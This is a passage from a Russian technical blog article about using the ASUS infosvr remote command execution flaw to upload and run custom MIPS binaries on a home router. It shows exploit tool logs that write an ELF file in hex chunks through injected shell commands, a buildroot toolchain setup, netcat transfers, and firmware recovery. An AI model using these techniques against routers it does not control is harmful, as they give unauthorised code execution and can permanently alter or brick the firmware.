75.9% 148.6 Bps part 159 (48 B; cmd: 235 ch) שש192.168.1.1: OK
76.3% 183.9 Bps part 160 (48 B; cmd: 235 ch) ש192.168.1.1: OK
76.8% 140.4 Bps part 161 (48 B; cmd: 235 ch) ש192.168.1.1: OK
77.3% 121.2 Bps part 162 (48 B; cmd: 235 ch) 192.168.1.1: OK
77.8% 149.1 Bps part 163 (48 B; cmd: 235 ch) שש192.168.1.1: OK
78.2% 141.6 Bps part 164 (48 B; cmd: 235 ch) ש192.168.1.1: OK
78.7% 145.0 Bps part 165 (48 B; cmd: 235 ch) ש192.168.1.1: OK
79.2% 148.1 Bps part 166 (48 B; cmd: 235 ch) ש192.168.1.1: OK
79.7% 176.5 Bps part 167 (48 B; cmd: 235 ch) 192.168.1.1: OK
80.1% 121.5 Bps part 168 (48 B; cmd: 235 ch) שש192.168.1.1: OK
80.6% 145.5 Bps part 169 (48 B; cmd: 235 ch) שש192.168.1.1: OK
81.1% 144.6 Bps part 170 (48 B; cmd: 235 ch) ששLOST
81.1% 31.7 Bps part 170 (48 B; cmd: 235 ch) 192.168.1.1: OK
81.6% 417.4 Bps part 171 (48 B; cmd: 235 ch) שש192.168.1.1: OK
82.1% 144.6 Bps part 172 (48 B; cmd: 235 ch) שש192.168.1.1: OK
82.5% 182.5 Bps part 173 (48 B; cmd: 235 ch) 192.168.1.1: OK
83.0% 119.4 Bps part 174 (48 B; cmd: 235 ch) ש192.168.1.1: OK
83.5% 139.5 Bps part 175 (48 B; cmd: 235 ch) 192.168.1.1: OK
84.0% 145.9 Bps part 176 (48 B; cmd: 235 ch) 192.168.1.1: OK
84.4% 145.9 Bps part 177 (48 B; cmd: 235 ch) 192.168.1.1: OK
84.9% 142.0 Bps part 178 (48 B; cmd: 235 ch) 192.168.1.1: OK
85.4% 150.5 Bps part 179 (48 B; cmd: 235 ch) ש192.168.1.1: OK
85.9% 150.0 Bps part 180 (48 B; cmd: 235 ch) ש192.168.1.1: OK
86.3% 142.0 Bps part 181 (48 B; cmd: 235 ch) ש192.168.1.1: OK
86.8% 143.7 Bps part 182 (48 B; cmd: 235 ch) שש192.168.1.1: OK
87.3% 147.7 Bps part 183 (48 B; cmd: 235 ch) ש192.168.1.1: OK
87.8% 141.6 Bps part 184 (48 B; cmd: 235 ch) LOST
87.8% 32.0 Bps part 184 (48 B; cmd: 235 ch) 192.168.1.1: OK
88.2% 355.6 Bps part 185 (48 B; cmd: 235 ch) ש192.168.1.1: OK
88.7% 149.1 Bps part 186 (48 B; cmd: 235 ch) שש192.168.1.1: OK
89.2% 140.4 Bps part 187 (48 B; cmd: 235 ch) ש192.168.1.1: OK
89.7% 147.2 Bps part 188 (48 B; cmd: 235 ch) ש192.168.1.1: OK
90.1% 148.1 Bps part 189 (48 B; cmd: 235 ch) ש192.168.1.1: OK
90.6% 144.1 Bps part 190 (48 B; cmd: 235 ch) LOST
90.6% 32.0 Bps part 190 (48 B; cmd: 235 ch) 192.168.1.1: OK
91.1% 406.8 Bps part 191 (48 B; cmd: 235 ch) 192.168.1.1: OK
91.6% 142.9 Bps part 192 (48 B; cmd: 235 ch) 192.168.1.1: OK
92.0% 148.1 Bps part 193 (48 B; cmd: 235 ch) ש192.168.1.1: OK
92.5% 144.6 Bps part 194 (48 B; cmd: 235 ch) ש192.168.1.1: OK
93.0% 147.2 Bps part 195 (48 B; cmd: 235 ch) ש192.168.1.1: OK
93.5% 144.1 Bps part 196 (48 B; cmd: 235 ch) ש192.168.1.1: OK
94.0% 147.7 Bps part 197 (48 B; cmd: 235 ch) שש192.168.1.1: OK
94.4% 145.9 Bps part 198 (48 B; cmd: 235 ch) שש192.168.1.1: OK
94.9% 174.5 Bps part 199 (48 B; cmd: 235 ch) 192.168.1.1: OK
95.4% 123.4 Bps part 200 (48 B; cmd: 237 ch) 192.168.1.1: OK
Merging to /var/ldd parts 101..116 (16 pcs; cmd: 229 ch)… OK (5586 B)
Merging to /var/ldd parts 117..132 (16 pcs; cmd: 238 ch)… OK (6354 B)
Merging to /var/ldd parts 133..148 (16 pcs; cmd: 238 ch)… OK (7122 B)
Merging to /var/ldd parts 149..164 (16 pcs; cmd: 238 ch)… OK (7890 B)
Merging to /var/ldd parts 165..180 (16 pcs; cmd: 238 ch)… OK (8658 B)
Merging to /var/ldd parts 181..196 (16 pcs; cmd: 238 ch)… OK (9426 B)
Merging to /var/ldd parts 197..200 (4 pcs; cmd: 71 ch)… OK (9618 B)
Written 9.39KB/9.85KB 92.9 Bps (avg) Remaining: 00:05 (01:54/01:59)

95.9% 4.9 Bps part 201 (49 B; cmd: 237 ch) 192.168.1.1: OK
96.4% 146.7 Bps part 202 (49 B; cmd: 237 ch) 192.168.1.1: OK
96.8% 155.6 Bps part 203 (49 B; cmd: 237 ch) שש192.168.1.1: OK
97.3% 142.9 Bps part 204 (49 B; cmd: 237 ch) 192.168.1.1: OK
97.8% 153.1 Bps part 205 (49 B; cmd: 237 ch) LOST
97.8% 32.7 Bps part 205 (49 B; cmd: 237 ch) 192.168.1.1: OK
98.3% 388.9 Bps part 206 (49 B; cmd: 237 ch) ש192.168.1.1: OK
98.8% 148.5 Bps part 207 (49 B; cmd: 237 ch) 192.168.1.1: OK
99.3% 144.5 Bps part 208 (49 B; cmd: 237 ch) 192.168.1.1: OK
99.8% 151.2 Bps part 209 (49 B; cmd: 237 ch) ש192.168.1.1: OK
100.0% 75.3 Bps part 210 (25 B; cmd: 143 ch) שש192.168.1.1: OK
Merging to /var/ldd parts 201..210 (10 pcs; cmd: 145 ch)… OK (10084 B)
Written 9.85KB/9.85KB 78.7 Bps (avg) Remaining: 00:00 (02:00/02:00)

Finished. File size on target is 9.85KB. Working time: 02:00 (120 sec)

Примечание к следующему спойлеру
  • На месте ///*** таких моих комментариев ***/// удалены строки, чтобы не перегружать текст.
  • А на месте ///--- таких ---/// ничего не удалено. Это просто объяснения.

/dev/console (/dev/ttyS0) - обратите внимание на имя файла, в который перенаправляется вывод на разных этапах
system cmd: 237 echo -ne "\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x08\x50\x00\x00\x00\x34\x00\x00\x23\x54\x00\x00\x10\x07\x00\x34\x00\x20\x00\x08\x00\x28\x00">/var/ldd_0-1;cat /var/ldd_0-1
rund: echo -ne "\x7f\x45\x4c\x46\x01\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x08\x00\x00\x00\x01\x00\x40\x08\x50\x00\x00\x00\x34\x00\x00\x23\x54\x00\x00\x10\x07\x00\x34\x00\x20\x00\x08\x00\x28\x00">/var/ldd_0-1;cat /var/ldd_0-1 > /tmp/syscmd.out
49 ELF
system cmd: 237 echo -ne "\x1a\x00\x19\x00\x00\x00\x06\x00\x00\x00\x34\x00\x40\x00\x34\x00\x40\x00\x34\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x01\x34\x00\x40\x01\x34\x00\x40">/var/ldd_0-2;cat /var/ldd_0-2
rund: echo -ne "\x1a\x00\x19\x00\x00\x00\x06\x00\x00\x00\x34\x00\x40\x00\x34\x00\x40\x00\x34\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x05\x00\x00\x00\x04\x00\x00\x00\x03\x00\x00\x01\x34\x00\x40\x01\x34\x00\x40">/var/ldd_0-2;cat /var/ldd_0-2 > /tmp/syscmd.out
49

///*** много-много подобных строк — ПЕРЕДАЧА ЧАСТЕЙ ФАЙЛА ***///

system cmd: 237 echo -ne "\x00\x00\x00\x03\x20\xf8\x09\x24\x44\x00\x01\x8f\xbc\x00\x18\x00\x40\x20\x21\x8f\x99\x80\xac\x02\x20\x28\x21\x03\x20\xf8\x09\xae\x02\x00\x00\x8f\xbc\x00\x18\x8e\x04\x00\x00\x8f\x99\x80\x68\x00">/var/ldd_0-100;cat /var/ldd_0-100
rund: echo -ne "\x00\x00\x00\x03\x20\xf8\x09\x24\x44\x00\x01\x8f\xbc\x00\x18\x00\x40\x20\x21\x8f\x99\x80\xac\x02\x20\x28\x21\x03\x20\xf8\x09\xae\x02\x00\x00\x8f\xbc\x00\x18\x8e\x04\x00\x00\x8f\x99\x80\x68\x00">/var/ldd_0-100;cat /var/ldd_0-100 > /tmp/syscmd.out
48
///--- Запрос размера целевого файла (для контроля успешности объединения частей) ---///
system cmd: 35 echo -n "">>/var/ldd;wc -c</var/ldd
rund: echo -n "">>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out
2 0

///--- Объединение загруженных частей ---///
system cmd: 228 cat /var/ldd_0-1 /var/ldd_0-2 /var/ldd_0-3 /var/ldd_0-4 /var/ldd_0-5 /var/ldd_0-6 /var/ldd_0-7 /var/ldd_0-8 /var/ldd_0-9 /var/ldd_0-10 /var/ldd_0-11 /var/ldd_0-12 /var/ldd_0-13 /var/ldd_0-14 /var/ldd_0-15 /var/ldd_0-16>/var/ldd;
rund: cat /var/ldd_0-1 /var/ldd_0-2 /var/ldd_0-3 /var/ldd_0-4 /var/ldd_0-5 /var/ldd_0-6 /var/ldd_0-7 /var/ldd_0-8 /var/ldd_0-9 /var/ldd_0-10 /var/ldd_0-11 /var/ldd_0-12 /var/ldd_0-13 /var/ldd_0-14 /var/ldd_0-15 /var/ldd_0-16>/var/ldd; > /tmp/syscmd.out
0 0

///--- Запрос размера целевого файла (для контроля успешности объединения частей) ---///
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
4 777
ш $D
system cmd: 238 cat /var/ldd_0-17 /var/ldd_0-18 /var/ldd_0-19 /var/ldd_0-20 /var/ldd_0-21 /var/ldd_0-22 /var/ldd_0-23 /var/ldd_0-24 /var/ldd_0-25 /var/ldd_0-26 /var/ldd_0-27 /var/ldd_0-28 /var/ldd_0-29 /var/ldd_0-30 /var/ldd_0-31 /var/ldd_0-32>>/var/ldd;
rund: cat /var/ldd_0-17 /var/ldd_0-18 /var/ldd_0-19 /var/ldd_0-20 /var/ldd_0-21 /var/ldd_0-22 /var/ldd_0-23 /var/ldd_0-24 /var/ldd_0-25 /var/ldd_0-26 /var/ldd_0-27 /var/ldd_0-28 /var/ldd_0-29 /var/ldd_0-30 /var/ldd_0-31 /var/ldd_0-32>>/var/ldd; > /tmp/syscmd.out
0 777
ш $D
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
5 1545
ш $D

///*** много подобных строк — ОБЪЕДИНЕНИЕ ПЕРЕДАННЫХ ЧАСТЕЙ ФАЙЛА ***///

system cmd: 71 cat /var/ldd_0-97 /var/ldd_0-98 /var/ldd_0-99 /var/ldd_0-100>>/var/ldd;
rund: cat /var/ldd_0-97 /var/ldd_0-98 /var/ldd_0-99 /var/ldd_0-100>>/var/ldd; > /tmp/syscmd.out
0 4617
ш $D
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
5 4809
ш $D
system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
5 4809
ш $D

///--- следующая команда удаляет уже объединённые части ---///
system cmd: 37 rm /var/ldd_0-*;ls /var/ldd_0-*|wc -l
ls: /var/ldd_0-*: No such file or directory
rund: rm /var/ldd_0-*;ls /var/ldd_0-*|wc -l > /tmp/syscmd.out
2 0
09
ш $D

///--- далее цикл повторяется для следующего куска (в исходниках называемого chunk-ом) исходного файла ---///

system cmd: 237 echo -ne "\x00\x00\x00\x03\x20\xf8\x09\x00\x00\x00\x00\x8f\xbc\x00\x18\x3c\x03\x00\x41\xae\x02\x00\x08\x24\x02\x00\x01\xae\x02\x00\x04\xae\x00\x00\x0c\xac\x62\x21\x88\x12\x00\x00\x42\x00\x00\x00\x00\x8f\xa4">/var/ldd_1-1;cat /var/ldd_1-1
rund: echo -ne "\x00\x00\x00\x03\x20\xf8\x09\x00\x00\x00\x00\x8f\xbc\x00\x18\x3c\x03\x00\x41\xae\x02\x00\x08\x24\x02\x00\x01\xae\x02\x00\x04\xae\x00\x00\x0c\xac\x62\x21\x88\x12\x00\x00\x42\x00\x00\x00\x00\x8f\xa4">/var/ldd_1-1;cat /var/ldd_1-1 > /tmp/syscmd.out
49
system cmd: 237 echo -ne "\x01\x58\x00\x00\x00\x00\x94\x82\x00\x10\x00\x00\x00\x00\x24\x42\xff\xfe\x30\x42\xff\xff\x2c\x42\x00\x02\x10\x40\x00\x39\x24\x03\xff\x00\x8c\x82\x00\x04\x00\x00\x00\x00\x00\x62\x18\x24\x3c\x02\x01">/var/ldd_1-2;cat /var/ldd_1-2
rund: echo -ne "\x01\x58\x00\x00\x00\x00\x94\x82\x00\x10\x00\x00\x00\x00\x24\x42\xff\xfe\x30\x42\xff\xff\x2c\x42\x00\x02\x10\x40\x00\x39\x24\x03\xff\x00\x8c\x82\x00\x04\x00\x00\x00\x00\x00\x62\x18\x24\x3c\x02\x01">/var/ldd_1-2;cat /var/ldd_1-2 > /tmp/syscmd.out
49 X

///*** много-много-много строк — ПРОХОДИТ НЕСКОЛЬКО ЦИКЛОВ ***///

system cmd: 237 echo -ne "\x00\x01\x00\x00\x00\x00\x00\x41\x21\xa0\x00\x00\x22\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00">/var/ldd_2-9;cat /var/ldd_2-9
rund: echo -ne "\x00\x01\x00\x00\x00\x00\x00\x41\x21\xa0\x00\x00\x22\x84\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00">/var/ldd_2-9;cat /var/ldd_2-9 > /tmp/syscmd.out
49
system cmd: 143 echo -ne "\x00\x00\x00\x22\x84\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00">/var/ldd_2-10;cat /var/ldd_2-10
rund: echo -ne "\x00\x00\x00\x22\x84\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00">/var/ldd_2-10;cat /var/ldd_2-10 > /tmp/syscmd.out
25
system cmd: 35 echo -n "">>/var/ldd;wc -c</var/ldd
rund: echo -n "">>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out
5 9618

system cmd: 145 cat /var/ldd_2-1 /var/ldd_2-2 /var/ldd_2-3 /var/ldd_2-4 /var/ldd_2-5 /var/ldd_2-6 /var/ldd_2-7 /var/ldd_2-8 /var/ldd_2-9 /var/ldd_2-10>>/var/ldd;
rund: cat /var/ldd_2-1 /var/ldd_2-2 /var/ldd_2-3 /var/ldd_2-4 /var/ldd_2-5 /var/ldd_2-6 /var/ldd_2-7 /var/ldd_2-8 /var/ldd_2-9 /var/ldd_2-10>>/var/ldd; > /tmp/syscmd.out
0 9618

system cmd: 14 wc -c</var/ldd
rund: wc -c</var/ldd > /tmp/syscmd.out
6 10084

system cmd: 37 rm /var/ldd_2-*;ls /var/ldd_2-*|wc -l
ls: /var/ldd_2-*: No such file or directory
rund: rm /var/ldd_2-*;ls /var/ldd_2-*|wc -l > /tmp/syscmd.out
2 0
084

system cmd: 35 echo -n "">>/var/ldd;wc -c</var/ldd
rund: echo -n "">>/var/ldd;wc -c</var/ldd > /tmp/syscmd.out
6 10084


Ну и что дальше?

Как известно, в Linux чтобы запустить файл на исполнение надо установить ему соответствующие разрешения. Проблемка в том, что на роутере не оказалось chmod (помните про сильно урезанный busybox?). Но ничего. Это можно обойти:



Profit! Мы только что загрузили на роутер свой исполняемый файл, и он работает! Хотя погодите… А где мы его взяли, файл этот?

Как получить исполняемые файлы для своего роутера


Прежде всего нужно узнать архитектуру CPU вашего роутера. Лёгкий путь не даёт всей необходимой информации:
# cat /proc/cpuinfo
system type: RTL8196C
processor: 0
cpu model: 52481
BogoMIPS: 389.12
tlb_entries: 32
mips16 implemented: yes
#

Можно, конечно, даташит поискать и в нём найти эту информацию… А если он недоступен? А если есть разные модификации? Самый верный способ — посмотреть на то, что уже работает.

Придётся как-то достать исполняемый файл с роутера, чтобы проанализировать его с помощью команд file и readelf -h.

Я это сделал так:
  • запустил telnetd и подключил к нему TeraTerm
  • настроил TeraTerm на лог в файл с опцией «бинарный»
  • TeraTerm больше не трогаю (чтобы в начало лога ничего лишнего не попало)
  • выполнил AsusCmd.exe «cat /bin/infosvr > /dev/ttyp0;»
  • остановил лог в файл

Получившийся файл вышел немного больше того, что лежит на роутере (какой-то мусор подмешался). Но ничего: нас интересует только начало файла — ELF Header.

Перекидываем полученный файл на машину с Линуксом. Теперь можно посмотреть заголовок:



Теперь всё ясно: MIPS-1, Big endian.

Собираем тулчейн для нашего роутера

Вот мой скрипт-памятка (выбирайте конфигуратор по вкусу):
#!/bin/sh
wget http://buildroot.uclibc.org/downloads/buildroot-2014.11.tar.gz
tar zxf buildroot-2014.11.tar.gz
cd buildroot-2014.11

sudo apt-get -y install g++

# curses-based configurators
sudo apt-get -y install libncurses5-dev
make menuconfig # original curses-based configurator
#make nconfig # new curses-based configurator

# Qt-based configurator
#sudo apt-get -y install libqt4-dev
#make xconfig # Qt-based configurator

# GTK-based configurator
#sudo apt-get -y install libgtk2.0-dev libglade2-dev
#make gconfig # GTK-based configurator

make

На шаге make *config настраиваем тулчейн.

По крайней мере, надо настроить целевую архитектуру. Target options ---> Target Architecture и Target Architecture Variant. Тут есть небольшой подвох: вот так сразу в Target Architecture Variant Mips I вы не найдёте. Чтобы он там появился нужно включить опцию Build options ---> Show options and packages that are deprecated or obsolete.

Можно больше ничего не настраивать. А можно ещё много чего настроить: включить поддержку C++ и других языков, статическую компоновку (у меня ничего хорошего с этого не вышло), выбрать компилируемые под целевую архитектуру приложения, апплеты busybox, версии библиотек и т.п.

После настройки выбираем Exit, соглашаемся с сохранением новой конфигурации и… make. Сборка займёт продолжительное время, в зависимости от того, что вы там в настройках понавыбирали (У меня при настройке только архитектуры целевого процессора сборка на VM Ware заняла немногим более полу часа. Замерял так: ttt=`date`; make; echo $ttt; date). Можно параллельно собирать, но не с помощью -jN. Руководство гласит:
You should never use make -jN with Buildroot: top-level parallel make is currently not supported. Instead, use the BR2_JLEVEL option to tell Buildroot to run the compilation of each individual package with make -jN.
Т.е. нужно настраивать параметр Build options ---> Number of jobs to run simultaneously.

Toolchain готов

Наконец, по прошествии xx минут тулчейн собрался полностью и без ошибок. Можно использовать. GCC для роутера будет по пути ./buildroot-2014.11/output/host/usr/bin/mips-linux-gcc (симлинк на mips-buildroot-linux-uclibc-gcc).
Для начала напишем примитивную программку, скомпилируем, зальём на роутер, выставим разрешение на исполнение (трюк, показанный ранее) и запустим:



Теперь можно писать свои программы для роутера, учитывая ограниченность ресурсов и возможности библиотек, которые есть на роутере.

Но вместе с тулчейном собрались и некоторые бинарники на целевую платформу! Лежат они здесь: ./buildroot-2014.11/output/target/ bin | sbin | usr/bin | usr/sbin. Я перепробовал многие из них (в menuconfig настроил сборку множества дополнительных приложений). Те, которые оказались рабочими и показались полезными сохранил отдельно (может когда-то понадобятся).

Рабочими оказались не все. После загрузки на роутер многие отказывались работать по различным причинам:
  • чаще всего — can't load library 'какая-то библиотека'
  • частично работают — can't resolve symbol 'какой-то символ'
  • Segmentation fault — без комментариев
  • а все статически слинкованные — Illegal instruction

А если у вас будет ошибка типа Bus error или unexpected word, то скорее всего вы ошиблись с выбором целевой архитектуры (или банально файл повреждён).

Повышаем комфорт

Вы, наверное, заметили, что скорость передачи файла через «дыру» в infosvr, мягко говоря, оставляет желать лучшего. Я хотел решить эту проблему написанием TargetSideAgent, который бы весил немного и поднимал полноценное TCP соединение. Уже и немного кода написал, как ВНЕЗАПНО открыл для себя чудо-утилиту netcat! Эта утилита оказалась рабочей среди приложений, собранных buildroot для целевой платформы. Теперь не надо долго мучиться — netcat передаёт файлы на роутер (да и с роутера тоже) почти мгновенно! Для быстрой передачи теперь можно использовать такой подход:
  • с помощью AsusBinWrite заливаем на роутер netcat
  • устанавливаем ему разрешение на исполнение
  • запускаем на приём:
    ./netcat -vvlp 8888 > recvfile
  • а с компа запускаем на передачу:
    ncat.exe -vv --send-only 192.168.1.1 8888 < Useful\cpuload

Кстати, если у вас почему-то прервалась передача файла с помощью AsusBinWrite, то её можно возобновить, использовав опцию RESUME:

Возобновление прерванной передачи



Теперь скорость приличная и можно легко загружать даже «увесистые» файлы. Но не увлекайтесь. Не забывайте, что /var и /tmp (который на самом деле /var/tmp) — это оперативная память роутера. Если вы полностью её забьёте — роутер перестанет отвечать (или вообще зависнет). В этом случае придётся его перезагрузить вручную. Контролируйте свободную память при помощи free.

Кстати, когда я искал netcat под Windows, то наткнулся на "netcat 21-го века". Он гораздо богаче функционалом, чем обычный netcat. Для нашего случая очень полезной оказалась опция --send-only (разорвать соединение сразу после передачи).

Что ещё можно сделать?


Посмотрите на это 'хозяйство':
# mount
rootfs on / type rootfs (rw)
/dev/root on / type squashfs (ro,relatime)
proc on /proc type proc (rw,relatime)
ramfs on /var type ramfs (rw,relatime)
#
# cat /proc/partitions
major minor #blocks name

31 0 64 mtdblock0
31 1 3211 mtdblock1
31 2 4032 mtdblock2
#
# cat /proc/mtd
dev: size erasesize name
mtd0: 00010000 00001000 «boot + cfg»
mtd1: 00322fee 00001000 «root fs»
mtd2: 003f0000 00001000 «linux + root fs»
#
# ls -lF /dev
crw-rw-rw- 1 root root 4, 64 Sep 18 20:22 console
lrwxrwxrwx 1 root root 8 Sep 18 12:05 log -> /tmp/log=
drwxrwxrwx 2 root root 3 Sep 18 12:03 misc/
brw-rw-rw- 1 root root 31, 0 Sep 18 12:05 mtdblock0
brw-rw-rw- 1 root root 31, 1 Sep 18 12:05 mtdblock1
brw-rw-rw- 1 root root 31, 2 Sep 18 12:05 mtdblock2
brw-rw-rw- 1 root root 31, 3 Sep 18 12:05 mtdblock3
crw-rw-rw- 1 root root 1, 3 Sep 18 12:05 null
crw-rw-rw- 1 root root 108, 0 Sep 18 12:05 ppp
crw-rw-rw- 1 root 5 5, 2 Sep 18 12:05 ptmx
drwxrwxrwx 2 root root 3 Sep 18 12:03 pts/
crw-rw-rw- 1 root root 2, 0 Sep 18 20:23 ptyp0
crw-rw-rw- 1 root root 2, 1 Sep 18 12:05 ptyp1
crw-rw-rw- 1 root root 4, 64 Sep 18 12:05 ttyS0
crw-rw-rw- 1 root root 4, 65 Sep 18 12:05 ttyS1
crw-rw-rw- 1 root root 3, 0 Sep 18 20:23 ttyp0
crw-rw-rw- 1 root root 3, 1 Sep 18 12:05 ttyp1
crw-rw-rw- 1 root root 1, 9 Sep 18 12:05 urandom
#


Я как-то неосторожно что-то перенаправил в /dev/mtdblock2. Оно записалось. Роутер работал. Потом, когда я решил его перезагрузить — он не загрузился. Посмотрев, что выдаётся на UART я понял, что всё-таки повредил прошивку. Роутер загрузился в режиме восстановления (именно с этим режимом работает утилита Asus Firmware Restoration).

Режим восстановления
========== SPI =============
SDRAM CLOCK:156MHZ
— Force into Single IO Mode —
|No chipID Sft chipSize blkSize secSize pageSize sdCk opCk chipName |
| 0 ef4016h 0h 400000h 10000h 1000h 100h 104 39 W25Q32|


---RealTek(RTL8196C)at 2012.04.09-16:54+0800 version v1.1f [16bit](390MHz)
no sys signature at 00010000!
Set 8196C PHY Patch OK

---Ethernet init Okay!
<RealTek>
<RealTek>ps
Unknown command!
<RealTek>
<RealTek>ls
Unknown command!
<RealTek>
<RealTek>help
— COMMAND MODE HELP — HELP (?): Print this help message
D <Address> <Len>
DB <Address> <Len>
DW <Address> <Len>
EW <Address> <Value1> <Value2>…
EB <Address> <Value1> <Value2>…
CMP: CMP <dst><src><length>
IPCONFIG:<TargetAddress>
AUTOBURN: 0/1
LOADADDR: <Load Address>
J: Jump to <TargetAddress>
FLW <dst_ROM_offset><src_RAM_addr><length_Byte> <SPI cnt#>: Write offset-data to SPI from RAM
<RealTek>


Недолго думая я запустил тот таки Firmware Restoration и восстановил прошивку.
Отображение работы утилиты Asus Firmware Restoration
<RealTek>D
File Start: 80500000,length=0

**TFTP GET File ASUSSPACELINK1ю,Size 0 Byte

**filename: 31 13 FFFFFFFE FFFFFFA9 Byte
run ASUSSPACELINK

**TFTP Client Upload, File Name: ASUSSPACELINK

**TFTP Client Upload File Size = 278ABC Bytes at 80500000

Success!
<RealTek>
Linux kernel (root-fs) upgrade.
checksum Ok!
burn Addr =0x10000! srcAddr=0x80500000 len =0xcd012

####head_offset: 0(0x0), flash_burnAddr: 0x10000, is_firmware: 1

####Start to burn…

Flash Write Successed!
<RealTek>
Root filesystem upgrade.
checksum Ok!
burn Addr =0x100000! srcAddr=0x805cd022 len =0x1aba9a

####head_offset: 839698(0xcd012), flash_burnAddr: 0xdd012, is_firmware: 1

####Start to burn…

Flash Write Successed!
<RealTek>
reboot.......


Сам факт повреждения прошивки в работающем роутере, говорит о том, что используя уязвимость можно менять её. Тогда изменения на роутере будут перманентными, а не только до перезагрузки, как было до сих пор.
Но на исследование этого у меня нет ни времени, ни желания.



Исходники AsusRouterTools, а также бинарники под Windows можно найти в репозитории на GitHub.

З.Ы. Раз уж разобрались с infosvr, почему бы не использовать его ещё и по назначению? AsusDiscover — это единственное, что продолжит работать после установки прошивки с устраненной уязвимостью.

Консольная версия Device Discovery


P.S. Это моя первая публикация, поэтому буду рад любым советам и замечаниям как по поводу статьи, так и по поводу программного кода.

P.P.S. Немножко негодования: Хабрахабру стоит добавить к интерфейсу написания статьи защиту от случайной публикации. Как-то я нажал Enter — и сработала кнопка «Опубликовать». Нужно же добавить либо какой-то предохранительный чекбокс, либо переспрашивать перед публикацией, либо давать возможность тут же отозвать отправку на публикацию. Да ещё и большая такая… Можно промахнуться и тыкнуть её вместо «Предпросмотра». Почему так не продумано?

UPD: Совместными усилиями с читателями (@a553), в эксплоитах исправлены ошибки, приводящие к падению при получении ответа от некоторых роутеров. Подробнее в этом комментарии.
Теги:
Хабы:
Всего голосов 86: ↑86 и ↓0+86
Комментарии33

Публикации

Истории

Работа

Ближайшие события

15 – 16 ноября
IT-конференция Merge Skolkovo
Москва
22 – 24 ноября
Хакатон «AgroCode Hack Genetics'24»
Онлайн
28 ноября
Конференция «TechRec: ITHR CAMPUS»
МоскваОнлайн
25 – 26 апреля
IT-конференция Merge Tatarstan 2025
Казань